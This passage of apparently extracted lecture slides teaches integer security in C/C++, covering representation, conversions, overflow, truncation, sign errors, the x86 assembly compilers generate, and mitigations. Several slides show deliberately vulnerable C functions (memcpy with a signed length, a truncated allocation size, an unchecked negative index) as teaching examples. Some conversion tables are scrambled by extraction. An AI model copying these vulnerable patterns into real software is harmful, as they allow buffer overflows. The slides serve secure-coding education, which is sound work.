3. total = strlen(argv[1])+

strlen(argv[2])+1;

4. char *buff = (char *)malloc(total);

5. strcpy(buff, argv[1]);

6. strcat(buff, argv[2]);

7. }
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Integer Representation 
Signed-magnitude 

One’s complement

Two’s complement

These integer representations vary in how they 
represent negative numbers
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Signed-magnitude Representation

Uses the high-order bit to indicate the sign
0 for positive
1 for negative
remaining low-order bits indicate the magnitude
of the value 

Signed magnitude representation of +41 and -
41

0 0 1 0 1 0 0 1 1 0 1 0 1 0 0 1

32 + 8 + 1

41+

32 + 8 + 1

41-
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One’s Complement
One’s complement replaced signed magnitude 

because the circuitry was too complicated.

Negative numbers are represented in one’s 
complement form by complementing each bit

0 0 1 0  1 0 0 1

1 1 0 1  0 1 1 0

each 1 is 
replaced 
with a 0

each 0 is 
replaced 
with a 1

even the 
sign bit is 
reversed
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Two’s Complement
The two’s complement form of a negative integer is created by 

adding one to the one’s complement representation.

Two’s complement representation has a single (positive) value for 
zero. 

The sign is represented by the most significant bit.

The notation for positive integers is identical to their signed-
magnitude representations.

0 0 1 0  1 0 0 1

1 1 0 1  0 1 1 0

0 0 1 0  1 0 0 1

1 1 0 1  0 1 1 1+ 1 =
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Signed and Unsigned Types 
Integers in C and C++ are either signed or 
unsigned.

For each signed type there is an equivalent 
unsigned type. 
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Signed Integers
Signed integers are used to represent positive 
and negative values.

On a computer using two’s complement 
arithmetic, a signed integer ranges from -2n-1

through 2n-1-1. 
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Signed Integer Representation
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Unsigned Integers
Unsigned integer values range from zero to a 

maximum that depends on the size of the 
type 

This maximum value can be calculated as 
2n-1, where n is the number of bits used to 
represent the unsigned type. 
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Unsigned Integer Representation

two’s complement
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Integer Types 
There are two broad categories of integer types: 

standard and extended. 
standard integer types include all the well-known integer 
types.
extended integer types are defined in the C99 standard 
to specify integer types with fixed constraints.
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Standard Types
Standard integers include the following types, 

in non-decreasing length order
signed char
short int
int
long int
long long int
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Extended Integer Types
Extended integer types are implementation 

defined and include the following types
int#_t, uint#_t where # is an exact width
int_least#_t, uint_least#_t where # is a 
width of at least that value
int_fast#_t, uint_fast#_t where # is a 
width of at least that value for fastest integer 
types
intptr_t, uintptr_t are integer types wide 
enough to hold pointers to objects
intmax_t, uintmax_t are integer types with 
the greatest width
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Platform-Specific Integer Types
Vendors often define platform-specific integer types. 

The Microsoft Windows API defines a large number of 
integer types
__int8, __int16, __int32, __int64
ATOM
BOOLEAN, BOOL
BYTE
CHAR
DWORD, DWORDLONG, DWORD32, DWORD64
WORD
INT, INT32, INT64
LONG, LONGLONG, LONG32, LONG64
Etc.
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Integer Ranges
Minimum and maximum values for an integer 
type depend on 

the type’s representation
signedness
number of allocated bits

The C99 standard sets minimum requirements 
for these ranges.
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Example Integer Ranges
signed char

0 127-128

0 255

unsigned char

0 32767

short

- 32768

0 65535 

unsigned short

signed char

00 127127-128-128

00 255255

unsigned char

00 3276732767

short

- 32768- 32768

00 65535 65535 

unsigned short
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Integer Conversions
Type conversions occur explicitly in C and C++ as the 

result of a cast or implicitly as required by an 
operation. 

Conversions can lead to lost or misinterpreted data.

Implicit conversions are a consequence of the C 
language ability to perform operations on mixed 
types. 

C99 rules define how C compilers handle conversions
integer promotions
integer conversion rank
usual arithmetic conversions
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Integer Promotions
Integer types smaller than int are promoted when an 

operation is performed on them. 

If all values of the original type can be represented as 
an int
the value of the smaller type is converted to int
otherwise, it is converted to unsigned int. 

Integer promotions are applied as part of the usual 
arithmetic conversions  to 
certain argument expressions
operands of the unary +, -, and ~ operators
operands of the shift operators
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Integer Promotion Example
Integer promotions require the promotion of 

each variable (c1 and c2) to int size

char c1, c2;

c1 = c1 + c2;

The two ints are added and the sum 
truncated to fit into the char type.

Integer promotions avoid arithmetic errors from 
the overflow of intermediate values.
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Implicit Conversions
1. char cresult, c1, c2, c3;

2. c1 = 100;

3. c2 = 90;

4. c3 = -120;

5. cresult = c1 + c2 + c3;

The value of c1 is added 
to the value of c2. 

The sum of c1 and c2 exceeds the 
maximum size of signed char

However,  c1, c1, and c3 are each 
converted to integers and the overall 
expression is successfully evaluated.

The sum is truncated and 
stored in cresult without a 
loss of data
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Integer Conversion Rank
Every integer type has an integer conversion 
rank that determines how conversions are 
performed.
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Integer Conversion Rank Rules
No two signed integer types have the same rank, 
even if they have the same representation.

The rank of a signed integer type is > the rank of any 
signed integer type with less precision.

The rank of long long int is > the rank of long
int, which is > the rank of int, which is > the rank of 
short int, which is > the rank of signed char.

The rank of any unsigned integer type is equal to the 
rank of the corresponding signed integer type.
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Unsigned Integer Conversions 1
Conversions of smaller unsigned integer types to 

larger unsigned integer types is
always safe 
typically accomplished by zero-extending the value 

When a larger unsigned integer is converted to a 
smaller unsigned integer type the
larger value is truncated
low-order bits are preserved 



69

© 2006 Carnegie Mellon University 137

Unsigned Integer Conversions 2
When unsigned integer types are converted to 

the corresponding signed integer type 
the bit pattern is preserved so no data is lost 
the high-order bit becomes the sign bit

If the sign bit is set, both the sign and 
magnitude of the value changes.
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Preserve low-order wordshortlong
Preserve bit pattern; high-order bit becomes sign bitlonglong
Preserve low-order byteunsigned charlong

Preserve low-order bytecharlong
Preserve low-order byteunsigned charshort

Preserve low-order wordunsigned 
short

long

Zero-extendlongshort
Preserve bit pattern; high-order bit becomes sign bitshortshort
Preserve low-order bytecharshort
Zero-extendunsigned longchar

Zero-extendunsigned 
short

char
Zero-extendlongchar
Zero-extendshortchar
Preserve bit pattern; high-order bit becomes sign bitcharchar

MethodToFrom
unsigned

Misinterpreted dataLost dataKey:
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Signed Integer Conversions 1
When a signed integer is converted to an 

unsigned integer of equal or greater size and
the value of the signed integer is not 
negative
the value is unchanged
the signed integer is sign-extended

A signed integer is converted to a shorter 
signed integer by truncating the high-order 
bits. 
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Signed Integer Conversions 2
When signed integers are converted to 

unsigned integers
bit pattern is preserved—no lost data
high-order bit loses its function as a sign bit

If the value of the signed integer is not
negative, the value is unchanged. 

If the value is negative, the resulting unsigned 
value is evaluated as a large, signed integer.
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Preserve bit pattern; high-order bit loses function as sign 
bit

unsigned shortshort

Preserve low-order wordshortlong
Preserve low-order byteunsigned charlong
Preserve low-order wordunsigned shortlong

Preserve low-order bytecharlong
Sign-extend to long; convert long to unsigned longunsigned longshort

Preserve pattern; high-order bit loses function as sign bitunsigned longlong

Preserve low-order byteunsigned charshort
Sign-extendlongshort
Preserve low-order bytecharshort

Sign-extend to long; convert long to unsigned longunsigned longchar
Sign-extend to short; convert short to unsigned shortunsigned shortchar

Preserve pattern; high-order bit loses function as sign bitunsigned charchar

Sign-extendlongchar
Sign-extendshortchar

MethodToFrom

Misinterpreted dataLost dataKey:
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Signed Integer Conversion Example
1. unsigned int l = ULONG_MAX;

2. char c = -1;

3. if (c == l) {

4. printf("-1 = 4,294,967,295?\n");

5. }

The value of c is 
compared to the 
value of l.

Because of integer promotions, c is 
converted to an unsigned integer with a 
value of 0xFFFFFFFF or 4,294,967,295
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Signed/Unsigned Characters 
The type char can be signed or unsigned. 

When a signed char with its high bit set is 
saved in an integer, the result is a negative 
number. 

Use unsigned char for buffers, pointers, 
and casts when dealing with character data 
that may have values greater than 127 (0x7f). 
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Usual Arithmetic Conversions
If both operands have the same type no conversion is needed.

If both operands are of the same integer type (signed or unsigned), 
the operand with the type of lesser integer conversion rank is 
converted to the type of the operand with greater rank.

If the operand that has unsigned integer type has rank >= to the 
rank of the type of the other operand, the operand with signed 
integer type is converted to the type of the operand with 
unsigned integer type.

If the type of the operand with signed integer type can represent all 
of the values of the type of the operand with unsigned integer 
type, the operand with unsigned integer type is converted to 
the type of the operand with signed integer type.

Otherwise, both operands are converted to the unsigned integer 
type corresponding to the type of the operand with signed 
integer type.
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Integer Section Agenda

Integral security

Representation

Types

Conversions

Error conditions

Operations

Integral security

Representation

Types

Conversions

Error conditions

Operations
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Integer Error Conditions 1
Integer operations can resolve to unexpected 
values as a result of an 

overflow
sign error
truncation
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Overflow
An integer overflow occurs when an integer is 

increased beyond its maximum value or 
decreased beyond its minimum value. 

Overflows can be signed or unsigned

A signed overflow 
occurs when a value is 
carried over to the sign 
bit

An unsigned overflow 
occurs when the underlying 
representation can no longer 
represent a value
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Overflow Examples 1
1. int i;

2. unsigned int j;

3. i = INT_MAX;  // 2,147,483,647

4. i++;

5. printf("i = %d\n", i); 

6. j = UINT_MAX; // 4,294,967,295;

7. j++;

8. printf("j = %u\n", j); 

i=-2,147,483,648

j = 0
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Overflow Examples 2
9. i = INT_MIN; // -2,147,483,648;

10. i--;

11. printf("i = %d\n", i); 

12. j = 0;

13. j--;

14. printf("j = %u\n", j); 

i=2,147,483,647

j = 4,294,967,295 

© 2006 Carnegie Mellon University 150

Truncation Errors
Truncation errors occur when 

an integer is converted to a smaller integer 
type and
the value of the original integer is outside the 
range of the smaller type

Low-order bits of the original value are 
preserved and the high-order bits are lost. 
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Truncation Error Example
1. char cresult, c1, c2, c3;

2. c1 = 100;

3. c2 = 90;

4. cresult = c1 + c2;

Integers smaller than int
are promoted to int or 
unsigned int before being 
operated on

Adding c1 and c2 exceeds the max 
size of signed char (+127)

Truncation occurs when the 
value is assigned to a type 
that is too small to represent 
the resulting value
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Sign Errors
Converting an unsigned integer to a signed

integer of 
Equal size - preserve bit pattern; high-order bit 
becomes sign bit
Greater size - the value is zero-extended then 
converted 
Lesser size - preserve low-order bits

If the high-order bit of the unsigned integer is
Not set - the value is unchanged
Set - results in a negative value
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Sign Errors
Converting a signed integer to an unsigned

integer of 
Equal size - bit pattern of the original integer is 
preserved
Greater size - the value is sign-extended then 
converted 
Lesser size - preserve low-order bits

If the value of the signed integer is
Not negative - the value is unchanged
Negative - the result is typically a large positive 
value

© 2006 Carnegie Mellon University 154

Sign Error Example
1. int i = -3;

2. unsigned short u;

3. u = i; 

4. printf("u = %hu\n", u);  

There are sufficient bits to represent the value so 
no truncation occurs.  The two’s complement 
representation is interpreted as a large signed 
value, however, so u = 65533 

Implicit conversion to smaller 
unsigned integer
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Detecting Errors
Integer errors can be detected

By the hardware
Before they occur based on preconditions
After they occur based on postconditions
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Integer Section Agenda

Integral security

Representation

Types

Conversions

Error conditions

Operations

Integral security

Representation

Types

Conversions

Error conditions

Operations
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Integer Operations
Integer operations can result in errors and 
unexpected value. 

Unexpected integer values can cause 
unexpected program behavior 
security vulnerabilities

Most integer operations can result in 
exceptional conditions.
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Integer Addition
Addition can be used to add two arithmetic 
operands or a pointer and an integer.

If both operands are of arithmetic type, the 
usual arithmetic conversions are performed on 
them.

Integer addition can result in an overflow if the 
sum cannot be represented in the number 
allocated bits
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Add Instruction
IA-32 instruction set includes an add instruction that 
takes the form 

add destination, source

Adds the 1st (destination) op to the 2nd (source) op
Stores the result in the destination operand 
Destination operand can be a register or memory 
location
Source operand can be an immediate, register, or 
memory location

Signed and unsigned overflow conditions are detected
and reported. 
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Add Instruction Example
The instruction:

add ax, bx
adds the 16-bit bx register to the 16-bit ax register 
leaves the sum in the ax register

The add instruction sets flags in the flags register
overflow flag indicates signed arithmetic overflow
carry flag indicates unsigned arithmetic overflow
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Layout of the Flags Register
15 0

Overflow

Direction

Interrupt

Sign
Zero

Auxiliary Carry

Parity

Carry
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Interpreting Flags
There are no distinctions between the addition 
of signed and unsigned integers at the 
machine level.

Overflow and carry flags must be interpreted in 
context
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Adding Signed/Unsigned char
When adding two signed chars the values are sign 

extended 
sc1 + sc2

1. movsx eax, byte ptr [sc1] 

2. movsx ecx, byte ptr [sc2] 

3. add         eax, ecx

When adding two unsigned chars  the values are 
zero extended to avoid changing the magnitude 
uc1 + uc2

4. movzx eax, byte ptr [uc1] 

5. movzx ecx, byte ptr [uc2] 

6. add         eax, ecx
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Adding Signed/Unsigned int

Adding two unsigned int values
ui1 + ui2

7. mov eax, dword ptr [ui1] 

8. add         eax, dword ptr [ui2] 

Identical code is generated for signed int
values
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Adding signed long long int

sll1 + sll2

9. mov eax, dword ptr [sll1] 

10. add         eax, dword ptr [sll2] 

11. mov ecx, dword ptr [ebp-98h] 

12. adc ecx, dword ptr [ebp-0A8h] 

The add instruction adds 
the low-order 32 bits

The adc instruction adds the high-order 
32 bits and the value of the carry bit
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Unsigned Overflow Detection
The carry flag denotes an unsigned arithmetic 
overflow

Unsigned overflows can be detected using the
jc instruction (jump if carry) 
jnc instruction (jump if not carry)

Conditional jump instructions are placed after 
the 

add instruction in the 32-bit case 
adc instruction in the 64-bit case
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Signed Overflow Detection
The overflow flag denotes a signed arithmetic 
overflow

Signed overflows can be detected using the
jo instruction (jump if overflow)
jno instruction (jump if not overflow)

Conditional jump instructions are placed after 
the 

add instruction in the 32-bit case 
adc instruction in the 64-bit case
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Precondition
Addition of unsigned integers can result in an 

integer overflow if the sum of the left-hand 
side (LHS) and right-hand side (RHS) of an 
addition operation is greater than 
UINT_MAX for addition of unsigned int type 
ULLONG_MAX for addition of unsigned long 
long type
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Precondition Example
Overflow occurs when A and B are unsigned int
and

A + B > UINT_MAX

To prevent the test from overflowing this test should 
be coded as

A > UINT_MAX – B 

Overflow also occurs when A and B are long long
int and

A + B > ULLONG_MAX
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Addition of signed int
Addition of signed integers is more 
complicated:

Overflow if LHS < 
INT_MIN – RHS

NegativeNegative
None possiblePositiveNegative
None possibleNegativePositive

Overflow if INT_MAX –
LHS < RHS

PositivePositive
Exceptional ConditionRHSLHS
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Postcondition
Perform the addition and then evaluate the results of 
the operation. 

Example: Let sum = lhs + rhs.
If lhs is non-negative and sum < rhs, an overflow 
has occurred. 
If lhs is negative and sum > rhs, an overflow has 
occurred. 
In all other cases, the addition operation succeeds 
without overflow. 
For unsigned integers, if the sum is smaller than either 
operand, an overflow has occurred.
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Integer Subtraction
The IA-32 instruction set includes 

sub (subtract) 
sbb (subtract with borrow). 

The sub and sbb instructions set the overflow and 
carry flags to indicate an overflow in the signed or 
unsigned result.
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sub Instruction 
Subtracts the 2nd (source) operand from the 1st

(destination) operand

Stores the result in the destination operand

The destination operand can be a
register
memory location

The source operand can be a(n)
immediate
register
memory location 
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sbb Instruction
The sbb instruction is executed as part of a multi-byte 
or multi-word subtraction.

The sbb instruction adds the 2nd (source) operand 
and the carry flag and subtracts the result from the 1st

(destination) operand

The result of the subtraction is stored in the 
destination operand. 

The carry flag represents a borrow from a previous 
subtraction. 
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signed long long int Sub

sll1 - sll2

1. mov eax, dword ptr [sll1] 

2. sub eax, dword ptr [sll2] 

3. mov ecx, dword ptr [ebp-0E0h] 

4. sbb ecx, dword ptr [ebp-0F0h]

NOTE:  Assembly Code Generated by Visual C++ for Windows 2000

The sub instruction subtracts 
the low-order 32 bits

The sbb instruction subtracts the low-order 32 bits
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Precondition
To test for overflow for unsigned integers LHS < RHS. 

Exceptional conditions cannot occur for signed
integers of the same sign.

For signed integers of mixed signs
If LHS is positive and RHS is negative, check that the 
lhs > INT_MAX + rhs
If LHS is non-negative and RHS is negative, check that 
lhs < INT_MAX + rhs

For example, 0 – INT_MIN causes an overflow 
condition because the result of the operation is one 
greater than the maximum representation possible.
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Postcondition
To test for overflow of signed integers, let 
difference = lhs - rhs and apply the following

If rhs is non-negative and difference > lhs an 
overflow has occurred
If rhs is negative and difference < lhs an 
overflow has occurred
In all other cases no overflow occurs

For unsigned integers an overflow occurs if 
difference > lhs.
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Integer Multiplication
Multiplication is prone to overflow errors 
because relatively small operands can 
overflow

One solution is to allocate storage for the 
product that is twice the size of the larger of 
the two operands. 



90

© 2006 Carnegie Mellon University 179

Multiplication Instructions
The IA-32 instruction set includes a 

mul (unsigned multiply) instruction
imul (signed multiply) instruction 

The mul instruction 
performs an unsigned multiplication of the 1st

(destination) operand and the 2nd (source) 
operand 
stores the result in the destination operand.
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Unsigned Multiplication
1. if (OperandSize == 8) {

2. AX = AL * SRC;

3. else {

4. if (OperandSize == 16) {

5. DX:AX = AX * SRC;

6. } 

7. else { // OperandSize == 32

8. EDX:EAX = EAX * SRC;

9. }

10. }

Product of 8-bit operands 
are stored in 16-bit 
destination registers

Product of 16-bit operands 
are stored in 32-bit 
destination registers

Product of 32-bit operands are stored in 64-bit 
destination registers



91

© 2006 Carnegie Mellon University 181

Carry and Overflow Flags
If the high-order bits are required to represent 
the product of the two operands, the carry and 
overflow flags are set

If the high-order bits are not required (that is, 
they are equal to zero), the carry and overflow
flags are cleared
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Signed and Unsigned Character 
Multiplication (Visual C++)
sc_product = sc1 * sc2; 

1. movsx eax, byte ptr [sc1] 

2. movsx ecx, byte ptr [sc2] 

3. imul eax, ecx

4. mov byte ptr [sc_product], al

uc_product = uc1 * uc2; 

5. movzx eax, byte ptr [uc1] 

6. movzx ecx, byte ptr [uc2] 

7. imul eax, ecx

8. mov byte ptr [uc_product], al 
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Signed and Unsigned Integer 
Multiplication (Visual C++)
si_product = si1 * si2;

ui_product = ui1 * ui2;

9. mov eax, dword ptr [ui1] 

10. imul eax, dword ptr [ui2] 

11. mov dword ptr [ui_product], 
eax

NOTE: Assembly code generated by Visual C++
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Signed and Unsigned Character 
Multiplication (g++)

g++ uses the byte form of the mul instruction 
for char integers, regardless of whether the 
type is signed or unsigned

sc_product = sc1 * sc2;

uc_product = uc1 * uc2;

1. movb -10(%ebp), %al

2. mulb -9(%ebp)

3. movb %al, -11(%ebp)
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Signed and Unsigned Integer 
Multiplication (g++)

g++ uses imul instruction for word length 
integers regardless of whether the type is 
signed or unsigned

si_product = si1 * si2;

ui_product = ui1 * ui2;

4. movl -20(%ebp), %eax

5. imull -24(%ebp), %eax

6. movl %eax, -28(%ebp)
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Precondition
To prevent an overflow when multiplying unsigned 
integers, check that A * B > MAX_INT

can be tested using the expression A > MAX_INT / B

Division, however, is an expensive operation
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Postcondition
Cast both operands to the next larger size and 
then multiply.

For unsigned integers
check high-order bits in the next larger integer 
if any are set, throw an error. 

For signed integers all zeros or all ones in the 
high-order bits and the sign bit on the low-
order bit indicate no overflow.

© 2006 Carnegie Mellon University 188

Upcast Example
void* AllocBlocks(size_t cBlocks) {

// allocating no blocks is an error
if (cBlocks == 0) return NULL;

// Allocate enough memory
// Upcast the result to a 64-bit integer
// and check against 32-bit UINT_MAX
// to makes sure there's no overflow

ULONGLONG alloc = cBlocks * 16;
return (alloc < UINT_MAX) 

? malloc(cBlocks * 16)
: NULL;

}

Can you find 
the error?
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Result Always > UINT_MAX
void* AllocBlocks(size_t cBlocks) {

// allocating no blocks is an error
if (cBlocks == 0) return NULL;

// Allocate enough memory
// Upcast the result to a 64-bit integer
// and check against 32-bit UINT_MAX
// to makes sure there's no overflow

ULONGLONG alloc = cBlocks * 16;
return (alloc < UINT_MAX) 

? malloc(cBlocks * 16)
: NULL;

}

This is a 32-bit operation that results in a 32-bit value. 
The result is assigned to a ULONGLONG but the 
calculation may have already overflowed. 
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Corrected Upcast Example 
void* AllocBlocks(size_t cBlocks) {

// allocating no blocks is an error
if (cBlocks == 0) return NULL;

// Allocate enough memory
// Upcast the result to a 64-bit integer
// and check against 32-bit UINT_MAX
// to makes sure there's no overflow

ULONGLONG alloc = (ULONGLONG)cBlocks*16;
return (alloc < UINT_MAX) 

? malloc(cBlocks * 16)
: NULL;

}
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Integer Division
An integer overflow condition occurs when the 
minimum integer value for 32-bit or 64-bit 
integers are divided by -1. 

In the 32-bit case, –2,147,483,648/-1 should 
be equal to 2,147,483,648. 
Because 2,147,483,648 cannot be represented 
as a signed 32-bit integer the resulting value is 
incorrect

Division is also prone to problems when mixed 
sign and type integers are involved.

- 2,147,483,648 /-1 = - 2,147,483,648
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Error Detection
The IA-32 instruction set includes the following 
division instructions

div, divpd, divps, divsd, divss
fdiv, fdivp, fidiv, idiv

The div instruction
divides the (unsigned) integer value in the ax, 
dx:ax, or edx:eax registers (dividend) by the source 
operand (divisor)
stores the result in the ax (ah:al), dx:ax, or 
edx:eax registers

The idiv instruction performs the same operations 
on (signed) values. 
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Signed Integer Division
si_quotient = si_dividend / si_divisor;

1. mov eax, dword ptr [si_dividend] 

2. cdq

3. idiv eax, dword ptr [si_divisor] 

4. mov dword ptr [si_quotient], eax

NOTE: Assembly code generated by Visual C++

The cdq instruction copies the sign (bit 31) of the value in the eax
register into every bit position in the edx register.
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Unsigned Integer Division
ui_quotient = ui1_dividend / ui_divisor;

5. mov eax, dword ptr [ui_dividend] 

6. xor edx, edx

7. div eax, dword ptr [ui_divisor] 

8. mov dword ptr [ui_quotient], eax

NOTE: Assembly code generated by Visual C++
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Precondition
Integer division overflows can be prevented by 
for 32-bit and 64-bit division by

Checking to see whether the numerator is the 
minimum value for the integer type.
The denominator is -1

Division by zero can be prevented by ensuring 
that the divisor is non-zero.
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Error Detection
The Intel division instructions div and idiv do not 
set the overflow flag.

A division error is generated if 
the source operand (divisor) is zero
if the quotient is too large for the designated register 

A divide error results in a fault on interrupt vector 0. 

When a fault is reported, the processor restores the 
machine state to the state before the beginning of 
execution of the faulting instruction. 
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Microsoft Visual Studio
C++ exception handling does not allow recovery from 

a hardware exception
a fault such as 
– an access violation
– divide by zero 

Visual Studio provides
structured exception handling (SEH) facility for dealing 
with hardware and other exceptions.
extensions to the C language that enable C programs to 
handle Win32 structured exceptions

Structured exception handling is an operating system 
facility that is distinct from C++ exception handling.
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C++ Structured Exception Handling
1. Sint operator /(signed int divisor) {

2. __try {

3. return si / divisor;

4. }

5. __except(EXCEPTION_EXECUTE_HANDLER) {

6. throw SintException(

ARITHMETIC_OVERFLOW

);

7. }

8. }

If a division error occurs, the logic in the 
__except block is executed

The division is nested in a __try block
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C++ Exception Handling
1. Sint operator /(unsigned int divisor) {

2. try {

3. return ui / divisor;

4. }

5. catch (...) {

6. throw SintException(

ARITHMETIC_OVERFLOW

);

7. }

8. }

C++ exceptions in Visual C++ are implemented 
using structured exceptions, making it possible to 
use C++ exception handling on this platform
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Linux Error Handling 1
In the Linux environment, hardware exceptions such 
as division errors are managed using signals. 

If the source operand (divisor) is zero or if the quotient 
is too large for the designated register, a SIGFPE
(floating point exception) is generated. 

To prevent abnormal termination of the program, a 
signal handler can be installed 

signal(SIGFPE, Sint::divide_error);
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Linux Error Handling 2
The signal() call accepts two parameters 

signal number 
address  of signal handler

Because the return address points to the faulting 
instruction If the signal handler simply returns, the 
instruction and the signal handler will be alternately 
called in an infinite loop. 

To solve this problem, the signal handler throws a 
C++ exception that can then be caught by the calling 
function.
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Signal Handler
1. static void divide_error(int val) {

2. throw 

SintException(ARITHMETIC_OVERFLOW);

3. } 
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Vulnerabilities
A vulnerability is a set of conditions that allows 
violation of an explicit or implicit security policy. 

Security flaws can result from hardware-level integer 
error conditions or from faulty logic involving integers.

These security flaws can, when combined with other 
conditions, contribute to a vulnerability.
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Vulnerabilities Section Agenda

Integer overflow

Sign error

Truncation

Non-exceptional

Integer overflow

Sign error

Truncation

Non-exceptional
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JPEG Example
Based on a real-world vulnerability in the handling of 
the comment field in JPEG files

Comment field includes a two-byte length field 
indicating  the length of the comment, including the 
two-byte length field. 

To determine the length of the comment string (for 
memory allocation), the function reads the value in the 
length field and subtracts two. 

The function then allocates the length of the comment 
plus one byte for the terminating null byte. 
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Integer Overflow Example
1. void getComment(unsigned int len, char *src) {

2. unsigned int size;

3. size = len - 2;

4. char *comment = (char *)malloc(size + 1);

5. memcpy(comment, src, size);

6. return;

7. }

8. int _tmain(int argc, _TCHAR* argv[]) {

9. getComment(1, "Comment ");

10. return 0;

11. }

Size is interpreted as a large 
positive value of 0xffffffff

0 byte malloc() succeeds

Possible to cause an overflow by creating
an image with a comment length field of 1
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Memory Allocation Example
Integer overflow can occur in calloc() and other 
memory allocation functions when computing the size 
of a memory region. 

A buffer smaller than the requested size is returned, 
possibly resulting in a subsequent buffer overflow.

The following code fragments may lead to 
vulnerabilities:

C: p = calloc(sizeof(element_t), count);
C++: p = new ElementType[count];



105

© 2006 Carnegie Mellon University 209

Memory Allocation
The calloc() library call accepts two 
arguments

the storage size of the element type 
the number of elements

The element type size is not specified explicitly 
in the case of new operator in C++. 

To compute the size of the memory required, 
the storage size is multiplied by the number of 
elements. 
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Overflow Condition
If the result cannot be represented in a signed 
integer, the allocation routine can appear to 
succeed but allocate an area that is too small. 

The application can write beyond the end of 
the allocated buffer resulting in a heap-based 
buffer overflow.
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Sign Error Example 1
1. #define BUFF_SIZE 10

2. int main(int argc, char* argv[]){

3. int len;

4. char buf[BUFF_SIZE];

5. len = atoi(argv[1]);

6. if (len < BUFF_SIZE){

7. memcpy(buf, argv[2], len);

8. }

9. }

Program accepts two 
arguments (the length 
of data to copy and 
the actual data)

len declared as a signed integer

argv[1] can be 
a negative value

A negative 
value 
bypasses 
the check

Value is interpreted as an 
unsigned value of type size_t
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Sign Errors Example 2
The negative length is interpreted as a large,
positive integer with the resulting buffer 
overflow

This vulnerability can be prevented by 
restricting the integer len to a valid value 

more effective range check that guarantees 
len is greater than 0 but less than BUFF_SIZE
declare as an unsigned integer
– eliminates the conversion from a signed to 

unsigned type in the call to memcpy()
– prevents the sign error from occurring
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Vulnerable Implementation
1. bool func(char *name, long cbBuf) {

2. unsigned short bufSize = cbBuf;

3. char *buf = (char *)malloc(bufSize);

4. if (buf) {

5. memcpy(buf, name, cbBuf); 

6. if (buf) free(buf);

7. return true;

8. }

9. return false;

10. }

cbBuf is used to initialize 
bufSize which is used 
to allocate memory for 
buf

cbBuf is declared as a long and used 
as the size in the memcpy() operation
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Vulnerability 1
cbBuf is temporarily stored in the unsigned short 
bufSize. 

The maximum size of an unsigned short for both 
GCC and the Visual C++ compiler on IA-32 is 65,535. 

The maximum value for a signed long on the same 
platform is 2,147,483,647. 

A truncation error will occur on line 2 for any values of 
cbBuf between 65,535 and 2,147,483,647.



109

© 2006 Carnegie Mellon University 217

Vulnerability 2

This would only be an error and not a 
vulnerability if bufSize were used for both the 
calls to malloc() and memcpy()

Because bufSize is used to allocate the size 
of the buffer and cbBuf is used as the size on 
the call to memcpy() it is possible to overflow 
buf by anywhere from 1 to 2,147,418,112 
(2,147,483,647 - 65,535) bytes.
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Non-Exceptional Integer Errors

Integer related errors can occur without an 
exceptional condition (such as an overflow) 
occurring
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Negative Indices
1. int *table = NULL;\

2. int insert_in_table(int pos, int value){

3. if (!table) {

4. table = (int *)malloc(sizeof(int) * 100);

5. }

6. if (pos > 99) {

7. return -1;

8. }

9. table[pos] = value;

10. return 0;

11. }

Storage for the 
array is 
allocated on 
the heap

pos is not > 99

value is inserted into the 
array at the specified position
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Vulnerability

There is a vulnerability resulting from incorrect 
range checking of pos

Because pos is declared as a signed integer, 
both positive and negative values can be 
passed to the function. 
An out-of-range positive value would be caught 
but a negative value would not. 

© 2006 Carnegie Mellon University 222

Agenda
Integers

Vulnerabilities

Mitigation Strategies

Notable Vulnerabilities

Summary



112

© 2006 Carnegie Mellon University 223

Mitigation Section Agenda

Type range checking

Strong typing

Compiler checks

Safe integer operations

Testing and reviews

© 2006 Carnegie Mellon University 224

Type Range Checking
Type range checking can eliminate integer 
vulnerabilities. 

Languages such as Pascal and Ada allow range 
restrictions to be applied to any scalar type to form 
subtypes. 

Ada allows range restrictions to be declared on 
derived types using the range keyword: 

type day is new INTEGER range 1..31;

Range restrictions are enforced by the language 
runtime.

C and C++ are not nearly as good at enforcing type 
safety. 
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Type Range Checking Example
1. #define BUFF_SIZE 10

2. int main(int argc, char* argv[]){

3. unsigned int len;

4. char buf[BUFF_SIZE];

5. len = atoi(argv[1]);

6. if ((0<len) && (len<BUFF_SIZE) ){

7. memcpy(buf, argv[2], len);

8. }

9. else

10. printf("Too much data\n");

11. }

.

Implicit type check from 
the declaration as an 
unsigned integer

Explicit check for both upper and lower bounds
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Range Checking Explained
Declaring len to be an unsigned integer is 
insufficient for range restriction because it only 
restricts the range from 0..MAX_INT. 

Checking upper and lower bounds ensures no 
out-of-range values are passed to memcpy()

Using both the implicit and explicit checks may 
be redundant  but is recommended as “healthy 
paranoia”
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Range Checking
External inputs should be evaluated to determine 
whether there are identifiable upper and lower
bounds. 

these limits should be enforced by the interface
easier to find and correct input problems than it is to 
trace internal errors back to faulty inputs

Limit input of excessively large or small integers

Typographic conventions can be used in code to 
distinguish constants from variables 
distinguish externally influenced variables from locally 
used variables with well-defined ranges 
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Strong Typing
One way to provide better type checking is to 
provide better types. 

Using an unsigned type can guarantee that a 
variable does not contain a negative value. 

This solution does not prevent overflow.

Strong typing should be used so that the 
compiler can be more effective in identifying 
range problems.
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Strong Typing Example
Declare an integer to store the temperature of water 
using the Fahrenheit scale

unsigned char waterTemperature;

waterTemperature is an unsigned 8-bit value in the 
range 1-255

unsigned char

sufficient to represent liquid water temperatures which 
range from 32 degrees Fahrenheit (freezing) to 212 
degrees Fahrenheit (the boiling point). 
does not prevent overflow
allows invalid values (e.g., 1-31 and 213-255).
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Abstract Data Type
One solution is to create an abstract data type in 
which waterTemperature is private and cannot be 
directly accessed by the user. 

A user of this data abstraction can only access, 
update, or operate on this value through public 
method calls. 

These methods must provide type safety by ensuring 
that the value of the waterTemperature does not 
leave the valid range. 

If implemented properly, there is no possibility of an 
integer type range error occurring.
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Visual C++ Compiler Checks
Visual C++ .NET 2003 generates a warning 
(C4244) when an integer value is assigned to a 
smaller integer type.

At level 1 a warning is issued if __int64 is assigned 
to unsigned int. 
At level 3 and 4, a “possible loss of data” warning is 
issued if an integer is converted to a smaller type.

For example, the following assignment is flagged 
at warning level 4

int main() {
int b = 0, c = 0;

short a = b + c; // C4244
}
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Visual C++ Runtime Checks
Visual C++ .NET 2003 includes runtime checks that 
catch truncation errors as integers are assigned to 
shorter variables that result in lost data. 

The /RTCc compiler flag catches those errors and 
creates a report. 

Visual C++ includes a runtime_checks pragma that 
disables or restores the /RTC settings, but does not 
include flags for catching other runtime errors such as 
overflows.

Runtime error checks are not valid in a release 
(optimized) build for performance reasons.
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GCC Runtime Checks
The gcc and g++ compilers include an 
-ftrapv compiler option that provides limited 
support for detecting integer exceptions at 
